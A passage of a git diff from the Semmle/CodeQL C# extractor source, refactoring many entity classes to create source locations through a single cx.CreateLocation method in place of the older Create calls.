null)); Create(cx, init.Expression, assignment, 0); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs index 33ea47d057b..2d0292ae720 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/BinaryPattern.cs @@ -9,7 +9,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class BinaryPattern : Expression { public BinaryPattern(Context cx, BinaryPatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), GetKind(syntax.OperatorToken, syntax), parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.CreateLocation(syntax.GetLocation()), GetKind(syntax.OperatorToken, syntax), parent, child, false, null)) { Pattern.Create(cx, syntax.Left, this, 0); Pattern.Create(cx, syntax.Right, this, 1); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs index 65912ba12f1..05f3aab2526 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs @@ -34,7 +34,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions if (cx.GetModel(syntax).GetDeclaredSymbol(designation) is ILocalSymbol symbol) { var type = symbol.GetAnnotatedType(); - return VariableDeclaration.Create(cx, symbol, type, declPattern.Type, cx.Create(syntax.GetLocation()), false, parent, child); + return VariableDeclaration.Create(cx, symbol, type, declPattern.Type, cx.CreateLocation(syntax.GetLocation()), false, parent, child); } if (designation is DiscardDesignationSyntax) { @@ -61,7 +61,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var type = symbol.GetAnnotatedType(); - return VariableDeclaration.Create(cx, symbol, type, null, cx.Create(syntax.GetLocation()), true, parent, child); + return VariableDeclaration.Create(cx, symbol, type, null, cx.CreateLocation(syntax.GetLocation()), true, parent, child); } throw new InternalError(varPattern, "Unable to get the declared symbol of the var pattern designation."); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs index 0f3c2bf8800..f0ae03ae9dc 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PositionalPattern.cs @@ -7,7 +7,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class PositionalPattern : Expression { internal PositionalPattern(Context cx, PositionalPatternClauseSyntax posPc, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, null, cx.Create(posPc.GetLocation()), ExprKind.POSITIONAL_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.CreateLocation(posPc.GetLocation()), ExprKind.POSITIONAL_PATTERN, parent, child, false, null)) { child = 0; foreach (var sub in posPc.Subpatterns) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs index ed947990045..7bd13e7a8a3 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/PropertyPattern.cs @@ -7,7 +7,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class PropertyPattern : Expression { internal PropertyPattern(Context cx, PropertyPatternClauseSyntax pp, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, null, cx.Create(pp.GetLocation()), ExprKind.PROPERTY_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.CreateLocation(pp.GetLocation()), ExprKind.PROPERTY_PATTERN, parent, child, false, null)) { child = 0; var trapFile = cx.TrapWriter.Writer; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs index 02246311648..d29292b3073 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs @@ -16,7 +16,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// The parent pattern/expression. /// The child index of this pattern. public RecursivePattern(Context cx, RecursivePatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), ExprKind.RECURSIVE_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.CreateLocation(syntax.GetLocation()), ExprKind.RECURSIVE_PATTERN, parent, child, false, null)) { // Extract the type access if (syntax.Type is TypeSyntax t) @@ -27,7 +27,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { var type = symbol.GetAnnotatedType(); - VariableDeclaration.Create(cx, symbol, type, null, cx.Create(syntax.GetLocation()), false, this, 0); + VariableDeclaration.Create(cx, symbol, type, null, cx.CreateLocation(syntax.GetLocation()), false, this, 0); } if (syntax.PositionalPatternClause is PositionalPatternClauseSyntax posPc) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs index 77efd5668c4..c1a140005dc 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs @@ -9,7 +9,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class RelationalPattern : Expression { public RelationalPattern(Context cx, RelationalPatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), GetKind(syntax.OperatorToken), parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.CreateLocation(syntax.GetLocation()), GetKind(syntax.OperatorToken), parent, child, false, null)) { Expression.Create(cx, syntax.Expression, this, 0); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs index d80c390efff..ce2cf773a92 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/UnaryPattern.cs @@ -7,7 +7,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal class UnaryPattern : Expression { public UnaryPattern(Context cx, UnaryPatternSyntax syntax, IExpressionParentEntity parent, int child) : - base(new ExpressionInfo(cx, null, cx.Create(syntax.GetLocation()), ExprKind.NOT_PATTERN, parent, child, false, null)) + base(new ExpressionInfo(cx, null, cx.CreateLocation(syntax.GetLocation()), ExprKind.NOT_PATTERN, parent, child, false, null)) { Pattern.Create(cx, syntax.Pattern, this, 0); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs index 1db6c39fef2..f919aaca568 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Query.cs @@ -23,7 +23,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { public QueryCall(Context cx, IMethodSymbol method, SyntaxNode clause, IExpressionParentEntity parent, int child) : base(new ExpressionInfo(cx, method?.GetAnnotatedReturnType(), - cx.Create(clause.GetLocation()), + cx.CreateLocation(clause.GetLocation()), ExprKind.METHOD_INVOCATION, parent, child, false, null)) { if (method != null) @@ -89,7 +89,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions variableSymbol, declType, declTypeSyntax, - cx.Create(node.GetLocation()), + cx.CreateLocation(node.GetLocation()), true, parent, child @@ -97,7 +97,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions Expression.Create(cx, Expr, decl, 0); - var nameLoc = cx.Create(name.GetLocation()); + var nameLoc = cx.CreateLocation(name.GetLocation()); var access = new Expression(new ExpressionInfo(cx, type, nameLoc, ExprKind.LOCAL_VARIABLE_ACCESS, decl, 1, false, null)); cx.TrapWriter.Writer.expr_access(access, LocalVariable.Create(cx, variableSymbol)); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs index 5fdc08c66d3..a6095ec63a2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Switch.cs @@ -29,7 +29,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { internal SwitchCase(Context cx, SwitchExpressionArmSyntax arm, Switch parent, int child) : base(new ExpressionInfo( - cx, cx.GetType(arm.Expression), cx.Create(arm.GetLocation()), + cx, cx.GetType(arm.Expression), cx.CreateLocation(arm.GetLocation()), ExprKind.SWITCH_CASE, parent, child, false, null)) { Expressions.Pattern.Create(cx, arm.Pattern, this, 0); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs index 349236e893a..674f45b3f21 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/VariableDeclaration.cs @@ -50,7 +50,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions public static Expression CreateParenthesized(Context cx, DeclarationExpressionSyntax node, ParenthesizedVariableDesignationSyntax designation, IExpressionParentEntity parent, int child) { AnnotatedTypeSymbol? type = null; // Should ideally be a corresponding tuple type - var tuple = new Expression(new ExpressionInfo(cx, type, cx.Create(node.GetLocation()), ExprKind.TUPLE, parent, child, false, null)); + var tuple = new Expression(new ExpressionInfo(cx, type, cx.CreateLocation(node.GetLocation()), ExprKind.TUPLE, parent, child, false, null)); cx.Try(null, null, () => { @@ -65,7 +65,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions public static Expression CreateParenthesized(Context cx, VarPatternSyntax varPattern, ParenthesizedVariableDesignationSyntax designation, IExpressionParentEntity parent, int child) { AnnotatedTypeSymbol? type = null; // Should ideally be a corresponding tuple type - var tuple = new Expression(new ExpressionInfo(cx, type, cx.Create(varPattern.GetLocation()), ExprKind.TUPLE, parent, child, false, null)); + var tuple = new Expression(new ExpressionInfo(cx, type, cx.CreateLocation(varPattern.GetLocation()), ExprKind.TUPLE, parent, child, false, null)); cx.Try(null, null, () => { @@ -123,7 +123,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions Create(cx, node, node.Designation, parent, child); public static VariableDeclaration Create(Context cx, CSharpSyntaxNode c, AnnotatedTypeSymbol? type, IExpressionParentEntity parent, int child) => - new VariableDeclaration(new ExpressionInfo(cx, type, cx.Create(c.FixedLocation()), ExprKind.LOCAL_VAR_DECL, parent, child, false, null)); + new VariableDeclaration(new ExpressionInfo(cx, type, cx.CreateLocation(c.FixedLocation()), ExprKind.LOCAL_VAR_DECL, parent, child, false, null)); public static VariableDeclaration Create(Context cx, CatchDeclarationSyntax d, bool isVar, IExpressionParentEntity parent, int child) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs index aadd9d2fbab..d17b2f003aa 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs @@ -65,7 +65,7 @@ namespace Semmle.Extraction.CSharp.Entities { Context.PopulateLater(() => { - var loc = Context.Create(initializer.GetLocation()); + var loc = Context.CreateLocation(initializer.GetLocation()); var fieldAccess = AddInitializerAssignment(trapFile, initializer.Initializer.Value, loc, null, ref child); @@ -86,7 +86,7 @@ namespace Semmle.Extraction.CSharp.Entities ? Expression.ValueAsString(symbol.ConstantValue) : null; - var loc = Context.Create(initializer.GetLocation()); + var loc = Context.CreateLocation(initializer.GetLocation()); AddInitializerAssignment(trapFile, initializer.EqualsValue.Value, loc, constValue, ref child); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/NamespaceDeclaration.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/NamespaceDeclaration.cs index 17f9a198a39..3a19417008a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/NamespaceDeclaration.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/NamespaceDeclaration.cs @@ -22,7 +22,7 @@ namespace Semmle.Extraction.CSharp.Entities public override void WriteId(TextWriter trapFile) { - trapFile.WriteSubId(Context.Create(ReportingLocation)); + trapFile.WriteSubId(Context.CreateLocation(ReportingLocation)); trapFile.Write(";namespacedeclaration"); } @@ -31,7 +31,7 @@ namespace Semmle.Extraction.CSharp.Entities var @namespace = (INamespaceSymbol)Context.GetModel(node).GetSymbolInfo(node.Name).Symbol; var ns = Namespace.Create(Context, @namespace); trapFile.namespace_declarations(this, ns); - trapFile.namespace_declaration_location(this, Context.Create(node.Name.GetLocation())); + trapFile.namespace_declaration_location(this, Context.CreateLocation(node.Name.GetLocation())); var visitor = new Populators.TypeOrNamespaceVisitor(Context, trapFile, this); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs index c42a3edd236..325a77b6dd2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Parameter.cs @@ -110,7 +110,7 @@ namespace Semmle.Extraction.CSharp.Entities trapFile.@params(this, Name, type.TypeRef, Ordinal, ParamKind, Parent, Original); foreach (var l in symbol.Locations) - trapFile.param_location(this, Context.Create(l)); + trapFile.param_location(this, Context.CreateLocation(l)); if (!IsSourceDeclaration || !symbol.FromSource()) return; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/PreprocessorDirectives/PreprocessorDirective.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/PreprocessorDirectives/PreprocessorDirective.cs index 6ea6172a2d3..4575dd8b8dc 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/PreprocessorDirectives/PreprocessorDirective.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/PreprocessorDirectives/PreprocessorDirective.cs @@ -23,7 +23,7 @@ namespace Semmle.Extraction.CSharp.Entities PopulatePreprocessor(trapFile); trapFile.preprocessor_directive_active(this, trivia.IsActive); - trapFile.preprocessor_directive_location(this, cx.Create(ReportingLocation)); + trapFile.preprocessor_directive_location(this, cx.CreateLocation(ReportingLocation)); if (!cx.Extractor.Standalone) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs index 08d5ae47c5e..6795c4a12df 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs @@ -84,7 +84,7 @@ namespace Semmle.Extraction.CSharp.Entities { Context.PopulateLater(() => { - var loc = Context.Create(initializer.GetLocation()); + var loc = Context.CreateLocation(initializer.GetLocation()); var annotatedType = AnnotatedTypeSymbol.CreateNotAnnotated(symbol.Type); var simpleAssignExpr = new Expression(new ExpressionInfo(Context, annotatedType, loc, ExprKind.SIMPLE_ASSIGN, this, child++, false, null)); Expression.CreateFromNode(new ExpressionNodeInfo(Context, initializer.Value, simpleAssignExpr, 0)); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs index 89b2b1696fd..1d8dd43f702 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs @@ -40,7 +40,7 @@ namespace Semmle.Extraction.CSharp.Entities protected abstract void PopulateStatement(TextWriter trapFile); protected Statement(Context cx, TSyntax stmt, Kinds.StmtKind kind, IStatementParentEntity parent, int child) - : this(cx, stmt, kind, parent, child, cx.Create(stmt.FixedLocation())) { } + : this(cx, stmt, kind, parent, child, cx.CreateLocation(stmt.FixedLocation())) { } public override string ToString() => Label.ToString(); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Case.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Case.cs index e2a712c006b..8046bdb6e26 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Case.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Case.cs @@ -10,7 +10,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements internal abstract class Case : Statement where TSyntax : SwitchLabelSyntax { protected Case(Context cx, TSyntax node, Switch parent, int child) - : base(cx, node, StmtKind.CASE, parent, child, cx.Create(node.GetLocation())) { } + : base(cx, node, StmtKind.CASE, parent, child, cx.CreateLocation(node.GetLocation())) { } public static Statement Create(Context cx, SwitchLabelSyntax node, Switch parent, int child) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs index db1a0d413c1..b9bddab82e2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Catch.cs @@ -10,7 +10,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements private static readonly string systemExceptionName = typeof(System.Exception).ToString(); private Catch(Context cx, CatchClauseSyntax node, Try parent, int child) - : base(cx, node, StmtKind.CATCH, parent, child, cx.Create(node.GetLocation())) { } + : base(cx, node, StmtKind.CATCH, parent, child, cx.CreateLocation(node.GetLocation())) { } protected override void PopulateStatement(TextWriter trapFile) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Do.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Do.cs index a0cd9da7372..7cdcfb1f57b 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Do.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/Do.cs @@ -8,7 +8,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements internal class Do : Statement { private Do(Context cx, DoStatementSyntax node, IStatementParentEntity parent, int child) - : base(cx, node, StmtKind.DO, parent, child, cx.Create(node.GetLocation())) { } + : base(cx, node, StmtKind.DO, parent, child, cx.CreateLocation(node.GetLocation())) { } public static Do Create(Context cx, DoStatementSyntax node, IStatementParentEntity parent, int child) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs index 6696086b19c..4e4cce00926 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs @@ -35,7 +35,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements var typeSymbol = semanticModel.GetDeclaredSymbol(Stmt); var type = typeSymbol.GetAnnotatedType(); - var location = cx.Create(Stmt.Identifier.GetLocation()); + var location = cx.CreateLocation(Stmt.Identifier.GetLocation()); Expressions.VariableDeclaration.Create(cx, typeSymbol, type, Stmt.Type, location, Stmt.Type.IsVar, this, 0); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/LocalFunction.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/LocalFunction.cs index eb81f27cb3a..5e417fd8885 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/LocalFunction.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/LocalFunction.cs @@ -10,7 +10,7 @@ namespace Semmle.Extraction.CSharp.Entities.Statements internal class LocalFunction : Statement { private LocalFunction(Context cx, LocalFunctionStatementSyntax node, IStatementParentEntity parent, int child) - : base(cx, node, StmtKind.LOCAL_FUNCTION, parent, child, cx.Create(node.GetLocation())) { } + : base(cx, node, StmtKind.LOCAL_FUNCTION, parent, child, cx.CreateLocation(node.GetLocation())) { } public static LocalFunction Create(Context cx, LocalFunctionStatementSyntax node, IStatementParentEntity parent, int child) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs index 5e0850ba8c8..f7a493af78e 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs @@ -78,7 +78,7 @@ namespace Semmle.Extraction.CSharp.Entities if (loc != null) { // Some built in operators lack locations, so loc is null. - yield return Context.Create(ReportingLocation); + yield return Context.CreateLocation(ReportingLocation); if (Context.Extractor.OutputPath != null && loc.Kind == LocationKind.SourceFile) yield return Assembly.CreateOutputAssembly(Context); } @@ -124,7 +124,7 @@ namespace Semmle.Extraction.CSharp.Entities public override bool NeedsPopulation => Context.Defines(symbol); - public Extraction.Entities.Location Location => Context.Create(ReportingLocation); + public Extraction.Entities.Location Location => Context.CreateLocation(ReportingLocation); protected void PopulateMetadataHandle(TextWriter trapFile) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs index 8d6074f3e8d..e05c2d0c102 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/TypeMention.cs @@ -118,7 +118,7 @@ namespace Semmle.Extraction.CSharp.Entities private void Emit(TextWriter trapFile, Microsoft.CodeAnalysis.Location loc, IEntity parent, Type type) { trapFile.type_mention(this, type.TypeRef, parent); - trapFile.type_mention_location(this, cx.Create(loc)); + trapFile.type_mention_location(this, cx.CreateLocation(loc)); } public static TypeMention Create(Context cx, TypeSyntax syntax, IEntity parent, Type type, Microsoft.CodeAnalysis.Location loc = null) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs index bded5f60c57..0d95d776592 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs @@ -106,7 +106,7 @@ namespace Semmle.Extraction.CSharp.Entities get { foreach (var l in GetLocations(symbol)) - yield return Context.Create(l); + yield return Context.CreateLocation(l); if (Context.Extractor.OutputPath != null && symbol.DeclaringSyntaxReferences.Any()) yield return Assembly.CreateOutputAssembly(Context); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs index 4ddc258f5c7..6f6ff85cf77 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TupleType.cs @@ -53,7 +53,7 @@ namespace Semmle.Extraction.CSharp.Entities // about what locations are available for a tuple type. // Sometimes it's the source code, and sometimes it's empty. foreach (var l in symbol.Locations) - trapFile.type_location(this, Context.Create(l)); + trapFile.type_location(this, Context.CreateLocation(l)); } private readonly Lazy tupleElementsLazy; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TypeParameter.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TypeParameter.cs index b4d35f7b506..e92a3891704 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TypeParameter.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/TypeParameter.cs @@ -54,7 +54,7 @@ namespace Semmle.Extraction.CSharp.Entities foreach (var l in symbol.Locations) { - trapFile.type_location(this, Context.Create(l)); + trapFile.type_location(this, Context.CreateLocation(l)); } if (IsSourceDeclaration) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/UsingDirective.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/UsingDirective.cs index caa12ab0082..d08a1320ba2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/UsingDirective.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/UsingDirective.cs @@ -30,7 +30,7 @@ namespace Semmle.Extraction.CSharp.Entities { var ns = Namespace.Create(cx, namespaceSymbol); trapFile.using_namespace_directives(this, ns); - trapFile.using_directive_location(this, cx.Create(ReportingLocation)); + trapFile.using_directive_location(this, cx.CreateLocation(ReportingLocation)); } else { @@ -44,7 +44,7 @@ namespace Semmle.Extraction.CSharp.Entities // A "using static" var m = Type.Create(cx, (ITypeSymbol)info.Symbol); trapFile.using_static_directives(this, m.TypeRef); - trapFile.using_directive_location(this, cx.Create(ReportingLocation)); + trapFile.using_directive_location(this, cx.CreateLocation(ReportingLocation)); } if (parent != null) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs index bebdee933cd..72f015464a3 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs @@ -13,7 +13,7 @@ namespace Semmle.Extraction.CSharp.Populators public override void VisitExternAliasDirective(ExternAliasDirectiveSyntax node) { // This information is not yet extracted. - cx.ExtractionError("Not implemented extern alias directive", node.ToFullString(), Extraction.Entities.Location.Create(cx, node.GetLocation()), "", Severity.Info); + cx.ExtractionError("Not implemented extern alias directive", node.ToFullString(), cx.CreateLocation(node.GetLocation()), "", Severity.Info); } public override void VisitCompilationUnit(CompilationUnitSyntax compilationUnit) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/DirectiveVisitor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/DirectiveVisitor.cs index 9ec8d095290..0c400728554 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/DirectiveVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/DirectiveVisitor.cs @@ -67,7 +67,7 @@ namespace Semmle.Extraction.CSharp.Populators if (regionStarts.Count == 0) { cx.ExtractionError("Couldn't find start region", null, - Extraction.Entities.Location.Create(cx, node.GetLocation()), null, Util.Logging.Severity.Warning); + cx.CreateLocation(node.GetLocation()), null, Util.Logging.Severity.Warning); return; } @@ -100,7 +100,7 @@ namespace Semmle.Extraction.CSharp.Populators if (ifStarts.Count == 0) { cx.ExtractionError("Couldn't find start if", null, - Extraction.Entities.Location.Create(cx, node.GetLocation()), null, Util.Logging.Severity.Warning); + cx.CreateLocation(node.GetLocation()), null, Util.Logging.Severity.Warning); return; } @@ -113,7 +113,7 @@ namespace Semmle.Extraction.CSharp.Populators if (ifStarts.Count == 0) { cx.ExtractionError("Couldn't find start if", null, - Extraction.Entities.Location.Create(cx, node.GetLocation()), null, Util.Logging.Severity.Warning); + cx.CreateLocation(node.GetLocation()), null, Util.Logging.Severity.Warning); return; } @@ -126,7 +126,7 @@ namespace Semmle.Extraction.CSharp.Populators if (ifStarts.Count == 0) { cx.ExtractionError("Couldn't find start if", null, - Extraction.Entities.Location.Create(cx, node.GetLocation()), null, Util.Logging.Severity.Warning); + cx.CreateLocation(node.GetLocation()), null, Util.Logging.Severity.Warning); return; } diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index 99e877f5ef2..7f5ef6b1110 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -77,7 +77,7 @@ namespace Semmle.Extraction { if (idLabelCache.ContainsKey(id)) { - this.Extractor.Message(new Message("Label collision for " + id, entity.Label.ToString(), Entities.Location.Create(this, entity.ReportingLocation), "", Severity.Warning)); + this.Extractor.Message(new Message("Label collision for " + id, entity.Label.ToString(), CreateLocation(entity.ReportingLocation), "", Severity.Warning)); } else { @@ -211,11 +211,11 @@ namespace Semmle.Extraction } catch (InternalError ex) { - ExtractionError(new Message(ex.Text, ex.EntityText, Entities.Location.Create(this, ex.Location), ex.StackTrace)); + ExtractionError(new Message(ex.Text, ex.EntityText, CreateLocation(ex.Location), ex.StackTrace)); } catch (Exception ex) // lgtm[cs/catch-of-all-exceptions] { - ExtractionError($"Uncaught exception. {ex.Message}", null, Entities.Location.Create(this), ex.StackTrace); + ExtractionError($"Uncaught exception. {ex.Message}", null, CreateLocation(), ex.StackTrace); } } } @@ -361,7 +361,7 @@ namespace Semmle.Extraction throw new InternalError("Unexpected TrapStackBehaviour"); } - var a = duplicationGuard && 